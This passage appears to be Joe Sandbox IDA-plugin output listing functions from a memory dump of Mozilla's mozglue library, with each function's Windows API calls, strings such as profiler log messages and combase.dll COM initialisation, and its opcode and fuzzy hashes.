API ID: getenv$CurrentProcessThread$BufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] locked_profiler_stop
API String ID: 3136165603-3405337583
Opcode ID: 53827cb856ca243930f7e1ae356d55a3ec6c91c6e69760530e4b847d173c59b6
Instruction ID: 116fe8d4a6c997adc3d56d74ed05eeba215a6d23a82cdab1337d6afe7d69c649
Opcode Fuzzy Hash: 53827cb856ca243930f7e1ae356d55a3ec6c91c6e69760530e4b847d173c59b6
Instruction Fuzzy Hash: CC210B75B011304BEB298B26CC44B997775EF8230DF541419D90D87B81CB34981ACBEE

Function 6C63F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C62CBE8: GetCurrentProcess.KERNEL32(?,6C5F31A7), ref: 6C62CBF1
Part of subcall function 6C62CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5F31A7), ref: 6C62CBFA

Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C63945E
Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING,?,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C639470
Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING,?,?,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C639482
Part of subcall function 6C639420: __Init_thread_footer.LIBCMT ref: 6C63949F

GetCurrentThreadId.KERNEL32 ref: 6C63F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C63F598), ref: 6C63F621

Part of subcall function 6C6394D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6394EE
Part of subcall function 6C6394D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,?,00000000,?), ref: 6C639508

GetCurrentThreadId.KERNEL32 ref: 6C63F637
AcquireSRWLockExclusive.KERNEL32(6C67F4B8,?,?,00000000,?,6C63F598), ref: 6C63F645
ReleaseSRWLockExclusive.KERNEL32(6C67F4B8,?,?,00000000,?,6C63F598), ref: 6C63F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C63F62A

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 69fb0f28c32a1c3098edbcc23dcdd433cb50f8bdde4f2dd67dfa4e7390846be1
Instruction ID: 7bad711f6ea3cee894b8fd0d0646eaac6cbf5bd85e2d919026bb92436a242b83
Opcode Fuzzy Hash: 69fb0f28c32a1c3098edbcc23dcdd433cb50f8bdde4f2dd67dfa4e7390846be1
Instruction Fuzzy Hash: 36119875201124ABDB089F59C588DD57779FF86368F502855EA0583F02CB71A825CFBD

Function 6C602070 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C62AB89: EnterCriticalSection.KERNEL32(6C67E370,?,?,?,6C5F34DE,6C67F6CC,?,?,?,?,?,?,?,6C5F3284), ref: 6C62AB94
Part of subcall function 6C62AB89: LeaveCriticalSection.KERNEL32(6C67E370,?,6C5F34DE,6C67F6CC,?,?,?,?,?,?,?,6C5F3284,?,?,6C6156F6), ref: 6C62ABD1

LoadLibraryW.KERNEL32(combase.dll,6C601C5F), ref: 6C6020AE
GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6C6020CD
__Init_thread_footer.LIBCMT ref: 6C6020E1
FreeLibrary.KERNEL32 ref: 6C602124

Strings

combase.dll, xrefs: 6C6020A9
CoInitializeSecurity, xrefs: 6C6020C7

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeSecurity$combase.dll
API String ID: 4190559335-2476802802
Opcode ID: aabcd48111bfaa3d4d50c59fe64812c594492a92533bce0a7fb4c3415498a45b
Instruction ID: e2a287d16e3c3005b670adc85553042cda59e909f092384983241076fc45decd
Opcode Fuzzy Hash: aabcd48111bfaa3d4d50c59fe64812c594492a92533bce0a7fb4c3415498a45b
Instruction Fuzzy Hash: 5521AF35200219EFEF1A8F66CD88DDA3B75FF5A369F004815FA0192610D3319861CF7A

Function 6C6576C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C6576F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C657705

Part of subcall function 6C60CA10: malloc.MOZGLUE(?), ref: 6C60CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C657717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C65778F,00000000,00000000,00000000,00000000), ref: 6C657731
free.MOZGLUE(00000000), ref: 6C657760

Strings

}>cl, xrefs: 6C6576C4

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID: }>cl
API String ID: 2538299546-2620422864
Opcode ID: 0d4b75c09152019fcf1fce0dca8a463cd5f01a728b2177be491fa6ceb2aee01a
Instruction ID: f9d91231da414511695c2dd863d359bea9fc20329ebd901e45e3535af0c10a75
Opcode Fuzzy Hash: 0d4b75c09152019fcf1fce0dca8a463cd5f01a728b2177be491fa6ceb2aee01a
Instruction Fuzzy Hash: 7C11B2B19043256FE710AF7A9D44BABBEE8EF46354F144829F888A7300E770985087E6

Function 6C601FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C62AB89: EnterCriticalSection.KERNEL32(6C67E370,?,?,?,6C5F34DE,6C67F6CC,?,?,?,?,?,?,?,6C5F3284), ref: 6C62AB94
Part of subcall function 6C62AB89: LeaveCriticalSection.KERNEL32(6C67E370,?,6C5F34DE,6C67F6CC,?,?,?,?,?,?,?,6C5F3284,?,?,6C6156F6), ref: 6C62ABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C601FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C601FFD
__Init_thread_footer.LIBCMT ref: 6C602011
FreeLibrary.KERNEL32 ref: 6C602059

Strings

combase.dll, xrefs: 6C601FD9
CoCreateInstance, xrefs: 6C601FF7

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: 0132458899fd1a50d9f2fa60f10c31385427774e52d1124f96e0dcd964ef2ea0
Instruction ID: 1d19d2faa4a30bc4afde213eea24160a3d043bc4282fd0fb5721af2a4e27845e
Opcode Fuzzy Hash: 0132458899fd1a50d9f2fa60f10c31385427774e52d1124f96e0dcd964ef2ea0
Instruction Fuzzy Hash: B6117C74305214AFEF29CF16C98CEA63B79FB96369F004829F90592650C7319861CFBA

Function 6C600EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C62AB89: EnterCriticalSection.KERNEL32(6C67E370,?,?,?,6C5F34DE,6C67F6CC,?,?,?,?,?,?,?,6C5F3284), ref: 6C62AB94
Part of subcall function 6C62AB89: LeaveCriticalSection.KERNEL32(6C67E370,?,6C5F34DE,6C67F6CC,?,?,?,?,?,?,?,6C5F3284,?,?,6C6156F6), ref: 6C62ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C62D9F0,00000000), ref: 6C600F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C600F3C
__Init_thread_footer.LIBCMT ref: 6C600F50
FreeLibrary.KERNEL32(?,6C62D9F0,00000000), ref: 6C600F86

Strings

CoInitializeEx, xrefs: 6C600F36
combase.dll, xrefs: 6C600F18

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 06e603c80364587e2b868d363fdd1ed57763896dbb9dcdc97d4c399cea188116
Instruction ID: bc0c0d5b476d5eb4b19ddba923946b22ccad54dab22c8e496f2680d9c0e99cbb
Opcode Fuzzy Hash: 06e603c80364587e2b868d363fdd1ed57763896dbb9dcdc97d4c399cea188116
Instruction Fuzzy Hash: 6B11A3B43052609BEF09CF66CA88E863774F79B366F004A19ED0592740D7729405CF7E

Function 6C63F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C63945E
Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING,?,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C639470
Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING,?,?,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C639482
Part of subcall function 6C639420: __Init_thread_footer.LIBCMT ref: 6C63949F

GetCurrentThreadId.KERNEL32 ref: 6C63F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C63F561

Part of subcall function 6C6394D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6394EE
Part of subcall function 6C6394D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,?,00000000,?), ref: 6C639508

GetCurrentThreadId.KERNEL32 ref: 6C63F577
AcquireSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63F585
ReleaseSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63F5A3

Strings

[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C63F56A
[I %d/%d] profiler_resume_sampling, xrefs: 6C63F499
[I %d/%d] profiler_resume, xrefs: 6C63F239
[I %d/%d] profiler_pause_sampling, xrefs: 6C63F3A8

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 12cc2f4c6d51d299124870ced7b231a1a53cc3b290e3f59f3d6fef9f3ea642e6
Instruction ID: dcec9a41844f20137414fce123485eec07cc9d9980309b9cd98432e4b122d322
Opcode Fuzzy Hash: 12cc2f4c6d51d299124870ced7b231a1a53cc3b290e3f59f3d6fef9f3ea642e6
Instruction Fuzzy Hash: B5F0B4762002209FDB056F66988CD5A77BCEFC62ADF101C15FA0983702DB3548058B7E

Function 6C600E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C600DF8), ref: 6C600E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C600EA1
__Init_thread_footer.LIBCMT ref: 6C600EB5
FreeLibrary.KERNEL32 ref: 6C600EC5

Strings

kernel32.dll, xrefs: 6C600E7D
GetProcessMitigationPolicy, xrefs: 6C600E9B

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 7298e0ddad34e256f21b373e16600edc86d4884e6aee3bec50d44bc3537563e9
Instruction ID: a47f7658a69eee80604d2532f12a0928199efa72845fac865a7ce65b76f43857
Opcode Fuzzy Hash: 7298e0ddad34e256f21b373e16600edc86d4884e6aee3bec50d44bc3537563e9
Instruction Fuzzy Hash: A301E1747043918BDB1A8F9AE994E5237B5F747355F100D15D90163B40D778A485CE2F

Function 6C63F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C63945E
Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING,?,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C639470
Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING,?,?,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C639482
Part of subcall function 6C639420: __Init_thread_footer.LIBCMT ref: 6C63949F

GetCurrentThreadId.KERNEL32 ref: 6C63F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C63F598), ref: 6C63F621

Part of subcall function 6C6394D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6394EE
Part of subcall function 6C6394D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,?,00000000,?), ref: 6C639508

GetCurrentThreadId.KERNEL32 ref: 6C63F637
AcquireSRWLockExclusive.KERNEL32(6C67F4B8,?,?,00000000,?,6C63F598), ref: 6C63F645
ReleaseSRWLockExclusive.KERNEL32(6C67F4B8,?,?,00000000,?,6C63F598), ref: 6C63F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C63F62A

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: f0a48b9537b0a11d894ef07503cc71be76955a3bcbe841ea7032692c591e5ace
Instruction ID: 81cc1eafebda4cc43c04437a571b2f6d5cc4e7804a111a25545c16d4d856d46b
Opcode Fuzzy Hash: f0a48b9537b0a11d894ef07503cc71be76955a3bcbe841ea7032692c591e5ace
Instruction Fuzzy Hash: 9BF05475300224AFDB056F66888CD5A777DEFC729DF101855FA0983752CB7548068B7E

Function 6C6305F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C62CFAE,?,?,?,6C5F31A7), ref: 6C6305FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C62CFAE,?,?,?,6C5F31A7), ref: 6C630616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C5F31A7), ref: 6C63061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C5F31A7), ref: 6C630627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C63061B, 6C630625
<jemalloc>, xrefs: 6C6305FA, 6C63060F

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: cc83fc42e11f277e4cc761cd2c769c78c4e550bedbda7c78343416f44c725965
Instruction ID: ce4d127fc63f0d0ee67076c4bbc574dd447b1835f6827d1003e5c3809a28a314
Opcode Fuzzy Hash: cc83fc42e11f277e4cc761cd2c769c78c4e550bedbda7c78343416f44c725965
Instruction Fuzzy Hash: 82E08CE2A0116037FA142256AC86DBB761CDBC6534F080039FE0E93701E94AAD1A51FB

Function 6C6005F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 824cc510f6bb5b58c92e631501da7dca3e67afc56cfae0b131b2407e6c5b0eb4
Instruction ID: e97ad23efd7514bf7b4877377508ee009f3e38a269106c964c7f6ec111e0e36c
Opcode Fuzzy Hash: 824cc510f6bb5b58c92e631501da7dca3e67afc56cfae0b131b2407e6c5b0eb4
Instruction Fuzzy Hash: B5A15A70A00655CFDB28CF29C694B99FBF1BF89304F44866ED44AA7B00E735A945CFA4

Function 6C6514A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6514C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6514E2
GetCurrentThreadId.KERNEL32 ref: 6C651546
InitializeConditionVariable.KERNEL32(?), ref: 6C6515BA
free.MOZGLUE(?), ref: 6C6516B4

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 212a208c1c822196c264d321568a9f2cbc8b79efa196e338c90dd48acafe8c2d
Instruction ID: e48757182ed1cd05f2ab4ca71e4b16e9f42f4be273c0a22d1ad9673b3846cf70
Opcode Fuzzy Hash: 212a208c1c822196c264d321568a9f2cbc8b79efa196e338c90dd48acafe8c2d
Instruction Fuzzy Hash: B161E071A007109FDB118F25C880BDAB7B0BF8A308F54891DED8A57701DB31E959CBAA

Function 6C649F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C649FDB
free.MOZGLUE(?,?), ref: 6C649FF0
free.MOZGLUE(?,?), ref: 6C64A006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C64A0BE
free.MOZGLUE(?,?), ref: 6C64A0D5
free.MOZGLUE(?,?), ref: 6C64A0EB

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 01cc30e141b85765e5800d01e4c5961588bb603ac38a4c11e46076c2b400e376
Instruction ID: e62bbe0569f906d9b9acd18d0a1d42d36e0f3a636b495fad0deb8a7bd443be6e
Opcode Fuzzy Hash: 01cc30e141b85765e5800d01e4c5961588bb603ac38a4c11e46076c2b400e376
Instruction Fuzzy Hash: 5661DC759087019FC711CF18C48059AB3F5FF89329F50866DE8999BB02EB32E986CBC5

Function 6C64DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C64DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C64D38A,?), ref: 6C64DC6F
free.MOZGLUE(?,?,?,?,?,6C64D38A,?), ref: 6C64DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C64D38A,?), ref: 6C64DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C64D38A,?), ref: 6C64DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C64D38A,?), ref: 6C64DD4A

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 583007f54331eea1765d65e87f3bf9d19af0e20942b104d5921f18ccfb0954e4
Instruction ID: e77567803e6ac95bceea7c777330f033439e6e393f6f7ba9bf96fa7381637eeb
Opcode Fuzzy Hash: 583007f54331eea1765d65e87f3bf9d19af0e20942b104d5921f18ccfb0954e4
Instruction Fuzzy Hash: 32419CB5E00215CFCB04CFA9C88099AB7F6FF89308B658469DA05ABB10D731FC00CB98

Function 6C62F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C62F480

Part of subcall function 6C5FF100: LoadLibraryW.KERNEL32(shell32,?,6C66D020), ref: 6C5FF122
Part of subcall function 6C5FF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C5FF132

CloseHandle.KERNEL32(00000000), ref: 6C62F555

Part of subcall function 6C6014B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C601248,6C601248,?), ref: 6C6014C9
Part of subcall function 6C6014B0: memcpy.VCRUNTIME140(?,6C601248,00000000,?,6C601248,?), ref: 6C6014EF

Part of subcall function 6C5FEEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C5FEEE3

CreateFileW.KERNEL32 ref: 6C62F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C62F523

Strings

